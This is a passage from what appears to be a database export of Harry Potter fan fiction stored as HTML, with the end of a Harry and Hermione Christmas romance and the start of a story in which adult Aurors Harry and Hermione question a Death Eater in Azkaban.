breakfast.<br>\n<br>\n&#8220;So, Ron, are you staying for Christmas?&#8221; Harry asked, watching Hermione. She\nwas reading a book. Her golden brown tresses fell into her face. She pushed\nthem out of her eyes and turned the page. Harry was suddenly jerked to reality\nby Ron&#8217;s answer.<br>\n<br>\n&#8220;No. Mum wants all of us home for Christmas. Ginny is even bringing her new\nboyfriend, whoever it is.&#8221; Ron said shrugging and stuffing a piece of toast\ninto his mouth.<br>\n<br>\n&#8220;So you&#8217;re not going to be here?&#8221; Harry repeated.<br>\n<br>\n&#8220;Sorry man. Mum wants us all home. It&#8217;ll be the first Christmas in 4 years for\nthat to happen.&#8221; Ron said.<br>\n<br>\n&#8220;It&#8217;s okay. How about you &#8216;Minnie?&#8221; Harry asked. Hermione jumped as someone\nsaid her name.<br>\n<br>\n&#8220;W-what, Harry?&#8221; she asked.<br>\n<br>\n&#8220;I err asked if you were staying for Christmas.&#8221; Harry asked. Hermione nodded\nvigorously.<br>\n<br>\n&#8220;Y-yeah. I am.&#8221; Hermione said nervously. Ron shook his head. &#8216;Will those two\njust ask each other out or SOMETHING? I&#8217;m getting sick of all this&#8230; I dunno\nnervousness?&#8217; Ron thought.<br>\n<br>\nSo that Friday Ron along with Ginny and surprisingly Ginny&#8217;s boyfriend, Draco\nMalfloy. This got Ron kind of angry, but what could you do? Ginny was more\nstubborn than a mule. Hermione decided to find someway to get Harry to notice\nher. Any way at all.<br>\n<br>\nChristmas came and the day went slowly. The feast was sure to be the pinnacle\nof the day. The feast began at 5:00. Hermione and Harry walked down together.\nThe Great Hall was decorated in red and green banners and trees. All the tables\nwere joined together because Harry and Hermione were the only Gryffindors and\nthere were only 12 other students in all. The feast was filled with delicious\nfood and wine was served with the meal. Needless to say, everyone took\nadvantage of this. By the time the night was over everyone was quite a bit\ntipsy, Harry and Hermione especially.<br>\n<br>\n&#8220;Geez, Harry will you keep up the pace?&#8221; Hermione asked, very giggly, as they\nwalked to the common room. Then she fell on the floor and Harry fell on top and\nher. His breath was warm against her skin and smelled like grapes. Their lips\nbegan to meet. They became closer and closer until they finally met. A soft\nmoan emitted from Hermione&#8217;s throat. She was pulled deeper into the kiss. Until\nrealization hit.<br>\n<br>\n&#8220;Oh. My. God. Harry, we- we can&#8217;t do this.&#8221; She said.<br>\n<br>\n&#8220;Don&#8217;t you have feelings for me?&#8221; Harry asked, pouting.<br>\n<br>\n&#8220;Of course I do. But Harry, we are drunk. And in the hallway no less.&#8221; Hermione\nsaid, standing up.<br>\n<br>\n&#8220;Yeah,&#8221; Harry said, sticking his hands into his pockets and looking down at his\nfeet. &#8220;Hermione, I love you.&#8221; He said. She laughed dryly.<br>\n<br>\n&#8220;Your drunk.&#8221; She said plainly.<br>\n<br>\n&#8220;It&#8217;s not the wine. I really love you.&#8221; Harry said, cupping her chin in his\nhands. He leaned in and kissed her.<br>\n<br>\nThat morning Hermione woke up somewhere that wasn&#8217;t her room. She looked about\nand saw a sleeping figure beside her. Thankfully she was still clothed. Then\nshe realized the figure was Harry. Then she realized the sharp pain in her\nhead. She immediately felt sick and ran into the bathroom. She ran into the\nbathroom and threw up. Her hair fell in front of her face, limp and sweaty.\nThen she heard someone knock at the door.<br>\n<br>\n&#8220;&#8217;Minnie, are you okay?&#8221; Harry asked.<br>\n<br>\n&#8220;Yeah, fine.&#8221; She said before vomiting again. The nausea was unbearable. &#8220;Just\na bit of a hangover. That&#8217;s all.&#8221; She said. She fell back against the wall.\nHarry came in.<br>\n<br>\n&#8220;A bit? I&#8217;m sure it&#8217;s more than a bit.&#8221; Harry said laughing.<br>\n<br>\n&#8220;Ha ha ha.&#8221; Hermione said sarcastically. She began to fell nauseous again and\ncrawled over to toilet. Harry held her hair back in a ponytail as she vomited.<br>\n<br>\n&#8220;You know if I still am in love with you after this I really must love you.&#8221;\nHarry said. Hermione glared at him.<br>\n<br>\n&#8220;I&#8217;m going to brush my teeth. Do you have any aspirin?&#8221; Hermione asked,\ncradling her forehead.<br>\n<br>\n&#8220;Yeah.&#8221; He rummaged through the medicine cabinet.<br>\n<br>\n&#8220;Ow. Too loud,&#8221; Hermione said wincing. &#8220;How come your not hung over?&#8221; She asked\nhim.<br>\n<br>\n&#8220;Oh. Just a potion Ron and I concocted.&#8221; Harry said shrugging.<br>\n<br>\n&#8220;You and Ron?&#8221; Hermione asked incredulously.<br>\n<br>\n&#8220;Yes me and Ron.&#8221; Harry said wryly.<br>\n<br>\nAn hour or so later Hermione came out of the girls&#8217; bathroom. She was wearing\njeans and a t-shirt and mopping her wet hair. She came up to Harry and sat on\nhis lap. She kissed him lightly.<br>\n<br>\n&#8220;Tell me you love me.&#8221; She said to him. He smiled at her.<br>\n<br>\n&#8220;I love you.&#8221; He said to her. Hermione kissed Harry lightly.<br>\n&nbsp;</p>\n\n\n\n\n\n\n'),
	(64, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry Potter and\nHermione Granger walked down the narrow stone corridor that separated the cells\nof all the captured Death Eaters. He ignored the great globs of spit flying\nfrom both sides and landing on his and Hermione&#8217;s shoes&#8212; the prisoners had a\nright to hate them. After all, these cells were all full because of them. Harry\nPotter and Hermione Granger had been called the greatest Auror team in history&#8212;\nand at twenty-four and twenty-five years of age respectively, their careers\nweren&#8217;t even close to over.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t mind\ncoming to Azkaban, because the Dementors no longer\nworked there. Six years ago, Voldemort almost succeeded in his attempt to\ndestroy Hogwarts&#8212; thwarted only by the secret and prestigious Order of the Phoenix,\nnow an extinct organization (&#8220;All of Britain is the Order now,&#8221; said Albus Dumbledore). After that event, Cornelius Fudge was\nvoted out of the Minister of Magic office. Dumbledore, as temporary Acting\nMinister, appointed Arthur Weasley to take over the\nposition permanently. And ever since, Azkaban has been\npatrolled by trained Ministry Hit Wizards.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today, Harry and\nHermione had come to question Adiel Lestrange, recently captured, one of Voldemort&#8217;s\nclosest supporters. When they reached his cell, Hermione conjured chairs for\nherself and Harry. But instead of sitting, Harry addressed Lestrange.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good evening,&#8221; said\nHarry, not taking his emerald eyes off of Lestrange&#8217;s\nmalicious black ones. &#8220;Care for something to drink?&#8221; Hermione shot him a\nquizzical look, which he ignored. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The inmate nodded\nfervently, as though he hadn&#8217;t had anything to drink in years. Harry summoned a\ntea service from somewhere in the hall. He had prepared it himself, of course&#8212;\nlike Alastor Moody, his mentor, he couldn&#8217;t be sure whether\nDark wizards had poisoned anything offered him. When tea was finished, Hermione\nasked the first question. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Where is your wife?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Dead. She was killed\nby an Auror a month ago,&#8221; said Lestrange\nexpressionlessly. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry supposed this was Blaise Zabini&#8217;s doing. Unlike Harry and Hermione, Blaise and his\nAuror partner (Cho Chang) didn&#8217;t mind using the Unforgivable Curses on other\npeople. In Harry&#8217;s opinion, this made them no better than the Death Eaters&#8212; but\nto each his own. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione pressed on, &#8220;Do you know how\nVoldemort can be destroyed?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes,&#8221; was the blank reply.\nHermione raised her eyebrows in an expression of both surprise and interest.\nShe had asked this question of every Death Eater they had ever interrogated,\nand never before had anyone responded in the positive. Lestrange\nmust have been very close to Voldemort indeed&#8230; unless he was lying, of course.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Tell us how to destroy Voldemort,&#8221; she said,\nnot really expecting an answer.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Lestrange&#8217;s eyes flickered,\nand he responded in a monotonous voice, &#8220;My master does not carry his life\nwithin him.&#8221; Hermione raised an eyebrow, and Lestrange\ncontinued, &#8220;It is housed far away, in the Orb of Slytherin. The Orb is\nlocated&#8212;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">But where exactly the Orb of Slytherin was\nlocated they never found out, because at that moment, Adiel\nLestrange burst into wild green flames. Harry quickly\njumped backwards to avoid being incinerated along with the Death Eater, and put\nboth hands to his throbbing scar. Hermione did the same, only clutching her\nleft forearm, where Voldemort&#8217;s mark was just\nvisible, a sign of Hermione&#8217;s dedication to his\ndestruction. When the flames receded, the only reminder of the cell&#8217;s former\noccupant was a small black scorch mark on the stone bench upon which he had\nbeen sitting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Undaunted by this seemingly extraordinary\noccurrence, the two Aurors calmly discussed it as\nthey made their way out of the wizard prison.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That wasn&#8217;t your normal, everyday spontaneous\nhuman combustion,&#8221; said Hermione slowly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wasn&#8217;t it?&#8221; said Harry. His mind was more on\nwhat Lestrange had said before being set aflame.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Weren&#8217;t you paying attention to what he was\ndoing?&#8221; Hermione said impatiently. Not waiting for his answer, she continued,\n&#8220;Before the fire came, he shut his eyes very tight, as though in pain, and\ngrabbed his arm.&#8221; She imitated Lestrange&#8217;s actions\nbefore saying, &#8220;His <i style="mso-bidi-font-style:normal">left</i> arm. Which is where the fire started.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry understood what she was implying. &#8220;So\nyou think Voldemort caused him to burn and die like that?&#8221; he asked, knowing\nthe answer. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes.&#8221; Hermione rolled up the left sleeve of\nher light grey robes and looked darkly at her own forearm. Harry could see the\nvery faint outline of the Dark Mark, a relic of the months she had spent as a\nDeath Eater to get information for the Order of the Phoenix six years ago.\nHer spy work paid off, as her findings allowed the Order to frustrate Voldemort&#8217;s attack on Hogwarts. But her treachery did not\ngo undiscovered by the Death Eaters, and so she never returned to Voldemort&#8217;s circle.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When Harry said nothing, Hermione spoke. &#8220;Well?\nSo what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh&#8212; yes, I agree with you completely on that\none,&#8221; said Harry truthfully. &#8220;Perhaps Voldemort didn&#8217;t want him revealing that\nbit of information he was about to tell us.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione scoffed, &#8220;Oh, come off it, Harry, you\nreally believe he was telling the truth? All that Orb of Slytherin rubbish&#8230; if\nit were true, why was he so willing to tell us?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;He wasn&#8217;t lying.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How do you know?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I laced his tea with Veritaserum,&#8221;\nHarry said casually.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">Harry</i>!&#8221;\nHermione glared at him. &#8220;That&#8217;s illegal!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry replied with a small smile, &#8220;All&#8217;s fair\nin love and war. And this is most definitely war.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But by now Hermione had forgotten that she was\nsupposed to be angry at her partner, and was looking thoughtful. &#8220;Then it <i style="mso-bidi-font-style:normal">is</i> true,&#8221; she said distantly. Turning to\nHarry, she told him, &#8220;Go home now and let Remus know about this. I&#8217;ve got to\nlook some stuff up at home&#8212; seeing as we have next to nothing to go on about\nthis Orb, it might take a lot of research.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry highly doubted that the Orb of Slytherin\nwas the sort of thing that one could simply look up in a library book, but he\ndidn&#8217;t mention this to Hermione, who promptly Disapparated. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He didn&#8217;t feel even slightly remorseful about\nbreaking the very strict laws regarding Veritaserum. He\nwas quite sure that the Ministry wouldn&#8217;t do anything to punish him, even if\nthey did find out about it. Having more or less single-handedly prevented\nVoldemort from taking full control of Britain, Harry and\nHermione were the most famous and almost revered Auror pair in memory.<i style="mso-bidi-font-style:normal"> And besides</i>, thought Harry, <i style="mso-bidi-font-style:normal">even Percy Weasley\nwould break a rule if it helped defeat Voldemort</i>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">He stopped walking and gazed into an empty\ncell to his right. Suspended in mid-air behind the bars was a golden plaque,\nbearing these words:</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b style="mso-bidi-font-weight:normal">&nbsp;This cell held\nthe only innocent man to ever be imprisoned in Azkaban. <br>\nSirius Black</b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b style="mso-bidi-font-weight:normal">born</b><b style="mso-bidi-font-weight:normal"> </b><b style="mso-bidi-font-weight:normal">30/11/1960</b><b style="mso-bidi-font-weight:\nnormal"> &#8211;\ndied </b><b style="mso-bidi-font-weight:\n normal">25/12/1998</b><b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned away and continued walking, more\nslowly than before. He was in no hurry to get home on this fine April evening.\nAnd as he sauntered out the enormous metal doors of Azkaban, he was thinking\nnot of the Orb of Slytherin or Veritaserum, but of\nthe last date on the golden plaque he had just read. December the 25th, 1998. By far the\nworst day of his life&#8212; and he remembered it as though it had happened\nyesterday. The problem was, he didn&#8217;t like remembering\nit.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He kicked a stone off the cliff on which he\nwas standing and into the crashing waves beating the shore of the island of Azkaban. When he\nremembered that Christmas, six years ago, he remembered Sirius, his godfather,\nand Ron Weasley, his best friend. More accurately, he\nremembered their deaths&#8212; Ron being killed by Draco Malfoy in battle, Sirius\njumping in front of a Killing Curse that was meant for Harry. They weren&#8217;t the\nonly ones who lost their lives that day&#8212; Severus\nSnape, Malfoy, and Wormtail also died. Not that Harry\nmissed those last three.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Memories of that day were unpleasant, no\ndoubt, but didn&#8217;t depress him as they once did. Unlike in the days immediately\nfollowing that tragedy, he could see that it was a victory for the Light. But\nhe&#8217;d gotten over their deaths, and made two promises to himself regarding his\nfuture.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">First, he pledged his life to destroying\nVoldemort.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Then, he vowed never to develop a close\nrelationship with another witch or wizard. Never again.\nBy becoming unfeeling and independent, he could never lose someone he loved,\nnever experience that pain, that hurt, that total\nsense of loss. He would make the rest of his life the story of Voldemort&#8217;s downfall&#8212;&nbsp; nothing more, nothing less. So that\nmade Harry Potter who he was now&#8212; a wizard whose sole concern and interest was\nin fighting the Dark Arts. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned in spite of himself. He knew\nSirius would disapprove of the man he had become. His godfather had valued\nfriendship and fun above all else&#8212; two luxuries that Harry would never allow\nhimself. But no matter&#8212; he had learned the hard way, six years ago, that\nfriendships only led to great sadness. And fun? What right did he have to have\nfun when Voldemort was still alive?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Having circled the entire island, Harry\nfinally Disapparated. He reappeared, standing on a dirt path separating two\nrows of tiny houses. This neighbourhood, set in a small clearing in a very\ndense wood, was Godric&#8217;s Hollow. The house to his\nleft was his own, and the house to his right belonged to Remus Lupin. The\nremainder of the of the houses were uninhabited, as they had been for over\ntwenty years&#8212; perhaps due to the haunting presence of a larger, abandoned,\npartially wrecked home at the end of the path, behind which three people were\nburied.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Lily Potter. James Potter. Sirius\nBlack.</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Sirius Black</i>&#8230; Harry mentally\nslapped himself. <i style="mso-bidi-font-style:normal">Stop it. You&#8217;re not sad.\nYou&#8217;re only angry&#8212; angry at Voldemort</i>. Turning to the right, he let himself\ninto the house. He made his way through the familiar rooms, down a narrow\nflight of stairs, and through the second door in this basement hallway.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He found a man deeply immersed in an enormous\nbook spread out on the desk in front of him. Several other volumes were stacked\non the corner of the desk. Not lifting his eyes from the pages, Remus Lupin\nacknowledged Harry&#8217;s presence&#8212; &#8220;Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">With a nod, Harry greeted him back&#8212; &#8220;Remus.&#8221;\nHe had become comfortable calling his old Professor by his first name, but had\nonly done so at Remus&#8217;s insistence. </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">&#8220;Are you all\nright, Harry?&#8221; Remus asked him, at Sirius&#8217;s funeral.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">&#8220;I&#8217;m fine,\nProfessor Lupin,&#8221; Harry responded, although he really wasn&#8217;t.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">&#8220;Call me Remus,&#8221;\nhe said. &#8220;I&#8217;m no longer your teacher. I haven&#8217;t been for years.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">&#8220;But&#8212;&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">&#8220;Don&#8217;t tell me\nI&#8217;m older than you. I know I am. But believe it or not, I&#8217;m only a month older\nthan Sirius was. You called him by his first name, didn&#8217;t you?&#8221; Remus said, his\nvoice sounding clearer than it had in days. &#8220;You&#8217;re eighteen years old. You&#8217;re\nnot a child&#8212; you&#8217;re my equal. In fact, technically, you&#8217;re my superior.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus had been referring to his unemployed\nstate, comparing it to Harry&#8217;s prestigious Auror position. His lycanthropy\ndidn&#8217;t much help his social status either. Now, Dumbledore was paying a salary\nto Remus, much as he had paid Dobby the house-elf years earlier. The charity\nthat sustained him didn&#8217;t bother Remus&#8212; Harry marvelled at his acceptance of\nsituation. But then again, he&#8217;d had a lifetime to get used to it. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sank into an armchair in the corner and\npulled a book off of one of the bookshelves that lined the walls. He looked at\nit in silence for a few minutes, though not really reading it. Remus was still\nconcentrating on his own book (<u>A Study of the Magical History of Transylvania</u>).\nAfter a while Harry finally spoke. He said nonchalantly, &#8220;I&#8217;ve just come from\nAzkaban&#8230;&#8221;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b>Remus showed no sign that he had even heard Harry, and\nHarry didn&#8217;t continue speaking. But after a few minutes, Remus said wryly, &#8220;And\nare you going to tell me what you were doing there, or am I to assume you were\nthrowing a party for the Death Eaters?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry almost smiled at\nthis show of Moony&#8217;s patented dry humour. Remus&#8217;s grey hair still held specks of the light brown of\nhis youth. Clearly, some of the Marauder in him still remained.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, Harry was in no\nhurry to mention the Orb of Slytherin&#8212; he wasn&#8217;t in the mood for more work. He\ncast his mind around for something else to say about Azkaban, and the words\ncame out before he knew what he was saying. &#8220;I saw Sirius&#8217;s cell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:\nnormal">Oh, shit</i>, he thought. He hadn&#8217;t wanted to bring the subject up\nagain, especially in front of Remus, who sighed deeply and finally moved his\nlight brown eyes from his book and onto Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It had been hard for him when Sirius, his best\nfriend, was killed. It was especially difficult because he had suddenly found\nhimself the only Marauder living when Wormtail and\nSirius killed each other. But it had been Wormtail&#8217;s\nfault&#8230; and Harry&#8217;s too, in a way. Wormtail&#8217;s curse\nwas meant for Harry, but Sirius jumped in front of it. This act of\nselflessness, like Lily Potter&#8217;s love for her son, caused the curse to rebound\nback and kill not only Sirius, but Wormtail as well. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus coped by taking over Sirius&#8217;s role as Harry&#8217;s\nfather. As much as Harry wanted to be independent, he allowed this, as it\nseemed to be the poor man&#8217;s only source of comfort. So over the years Remus\nacted as though he was obligated to take care of Harry, but this became less\nand less necessary as Harry finished his Auror training and became one of the\nbest wizards in recent memory. So now he contented himself by helping Harry in\nhis Auror work, researching background information, offering suggestions and\nplans, and any other assistance he could give from the safety of his home. This\nwas an enormous help for Harry and Hermione (who had been getting rather tired\nof doing all the research herself), and they were both very grateful.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry changed the subject before Remus had a\nchance to speak. &#8220;Why are you doing all this for me?&#8221; he asked, indicating the\npile of books Remus was studying. &#8220;Why have you been so eager to help me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At these words Remus actually closed his book\nand looked intently at Harry. &#8220;The same reason Sirius wanted to help you. We\nboth felt responsible for your parents&#8217; deaths, albeit for different reasons.\nSirius, of course, felt guilty for convincing them to use Peter as their\nSecret-Keeper. But not many people know my part in the story&#8212; something for\nwhich I&#8217;m rather glad. I&#8217;ve always regretted it, even though I really had no\ncontrol over it.&#8221; He stopped speaking. Harry, not wanting to seem too anxious,\nsaid nothing. After a minute or so, Remus continued his story in a voice that\nheld a bitterness that Harry had seldom heard there before. &#8220;You may or may not\nknow that your parents were in training as Aurors. I\ndesperately wanted to follow this profession as well, but was unable to because\nof my condition. James, as though he hadn&#8217;t done enough for me during our years\nat Hogwarts, offered to teach me everything he&#8217;d learned about being an Auror.\nIn return I agreed to keep a watch on their house, and on the neighbourhood&#8212;\nbecause, of course, Voldemort was after them. I lived in this very house, and\nthey were in the big one down the path. So it was easy for me to keep watch.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It was reassuring that James trusted me with\nthis job, and I performed it admirably. Several times I stopped various Death\nEaters lurking around their home&#8212; not that they could have done anything to you\nor your parents, as the Fidelius Charm was still\nintact. But I didn&#8217;t know this; like Dumbledore, I was\ndoubting Sirius. I didn&#8217;t give Peter a second thought.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So, our arrangement worked well. I was\nlearning enough to become a basic Auror&#8212; which is how I got enough knowledge to\nteach Defence Against the Dark Arts. And I was keeping\nyour parents safe. The perfect plan&#8230; and of courser, I ruined it again. I would\nhave been able to hold off Voldemort long enough for you and your parents to\nescape&#8212; if it weren&#8217;t for the full moon on Halloween.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">This concluded his story. In a tone that made\nit quite clear that he wanted to pursue that subject no further, he asked, &#8220;So\nwhat did you <i style="mso-bidi-font-style:normal">really</i> want to tell me\nabout your trip to Azkaban today?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus was clever. He had seen straight through\nHarry&#8217;s words&#8212; he knew Harry hadn&#8217;t come simply to tell him that he had seen\nSirius&#8217;s cell. Now with no choice but to tell the truth, Harry told him all\nabout Adiel Lestrange and\nthe Orb of Slytherin. By the time he had finished, Remus was pacing back and\nforth in what little open space there was in his tiny library.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Using Veritaserum\nillegally&#8212; something James would have done,&#8221; he said. Seeing the uncertain look\non Harry&#8217;s face, he quickly added, &#8220;I mean that as a compliment. It was, after\nall, a rather convenient shortcut to what could be the biggest clue we&#8217;ve had\nyet as to how Voldemort could be killed.&#8221; Still pacing, he appeared to be in\ndeep thought. &#8220;But still, after all I&#8217;ve read and studied about the Dark Arts&#8221;&#8212;\nhe waved his hand vaguely at one of his bookshelves&#8212; &#8220;not once was any Orb of\nSlytherin mentioned. This is a start, but it will be hard to finish.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;So you&#8217;ll help us with this?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Anything for the greatest Auror ever,&#8221; said\nRemus, his proud eyes twinkling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry hated when people said this about him.\nAnd, like every other person who said it, he told Remus off for it. &#8220;I&#8217;m <i style="mso-bidi-font-style:normal">not</i> the greatest Auror in history.\nHermione is. I&#8217;m good at combat&#8212; she&#8217;s good at combat and everything else.&#8221; It\nwas the truth&#8212; Harry despised work that didn&#8217;t involve spells and strategy,\ntactics and fighting Death Eaters. Work like that which he would have to do to\nfind out where the Orb of Slytherin was hidden.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus gave an exaggerated sigh and said,\n&#8220;Okay, Harry, whatever you say.&#8221; He was smiling. Like Sirius, Remus enjoyed\nannoying Harry. He was quite good at it, too. He was sure that Harry was much\nmore bothered by his being called the &#8216;greatest Auror ever&#8217; than Hermione was. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stood up, and before he could leave,\nRemus handed him a hefty book with a black cover- <u>Dark Arts in the Twentieth\nCentury</u>. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ve read this book&#8212; we used it in Advanced\nDefence Against the Dark Arts in my seventh year.\nThere&#8217;s nothing about the Orb of Slytherin,&#8221; Harry told him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;We need to start going over books like these\nin great detail. You can start with this one&#8212; I need you to write down\neverything you read about Voldemort&#8217;s rise to power,\nno matter how unimportant it may seem. We&#8217;re just looking for clues. Obviously\nthere&#8217;s nothing written about the Orb itself, so we&#8217;ll have to read between the\nlines and find it all out for ourselves.&#8221; Remus was at his desk again, flipping\nthrough a different book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Feeling less than excited about the task\nassigned to him, Harry thanked Remus, went upstairs, and crossed the street to\nhis own house. He sank into a cushy leather armchair in the sitting room. He\ntried to force his mind onto the Orb of Slytherin, but barely got through the\nfirst chapter of <u>Dark Arts in the Twentieth Century</u>. He wondered vaguely\nhow Hermione could love books so much. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was 11:00, quite early by\nHarry&#8217;s standards, but he went to bed anyways. He wondered why he didn&#8217;t feel\nmore excited that they had been revealed this clue about Voldemort&#8217;s\nmortality (or lack thereof, as it more often seemed). Perhaps it was because\nfaces from the past seemed buoyed at the top of his mind, along with an entity\nthat was very much in the present.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">James Potter&#8212; his real\nfather. Though he never knew him, Harry had heard enough stories about him to\nreceive a fairly clear idea of what he was like. Tonight he had heard a new\nstory about him that bolstered his idea of his father&#8217;s heroic character. But\nstories were one thing, and they didn&#8217;t help him answer the question about his\nfather that he&#8217;d had as long as he could remember&#8212; <i style="mso-bidi-font-style:normal">Is</i><i style="mso-bidi-font-style:\nnormal"> he proud of me?</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sirius Black&#8212; the name of Harry&#8217;s father was\nalmost always followed by that of his godfather. But ever since the end of Harry;s third year at Hogwarts,\nSirius might as well have been his real father&#8212; that&#8217;s how close Harry was to\nhim. Harry remembered what Remus had said to him the night after Sirius died&#8212; &#8220;<i style="mso-bidi-font-style:normal">You were like a son to him.</i>&#8221; So Sirius\nBlack had continued the work of his best friend, and died the same way as well&#8212;\nfor Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus Lupin&#8212; the contemporary face that was in\nHarry&#8217;s thoughts tonight. A man shunned his whole life, by all except his\nfriends&#8212; and now his friend&#8217;s son. Harry admired Remus deeply; he always had,\never since the days when he taught Defence Against the\nDark Arts to Harry&#8217;s third year class. His morals and strength had been a model\nto Harry, who was ever grateful to him for his help. He&#8217;d been the first to\nhelp Harry uncover the secrets of his parents&#8217; lives, which moulded Harry into\nwho he was now.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry found himself thinking, <i style="mso-bidi-font-style:normal">I am lucky to have had three wonderful\nfathers as them</i>. But as though he were in real danger, an alarm sounded in\nhis head that warned him against his emotions&#8212; <i style="mso-bidi-font-style:normal">They</i><i style="mso-bidi-font-style:\nnormal"> are simply part of your motivation to kill Voldemort</i>. So he\nforcibly wiped those three faces from his mind, and would have done so from his\nmemory if he&#8217;d been able to&#8230; as he drifted into sleep he ordered himself, <i style="mso-bidi-font-style:normal">Stop being weak.</i></p>\n\n<p class="MsoNormal">~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry rose with the sun the next morning&#8212; he\nhad a lot to do. Today he and Hermione expected to 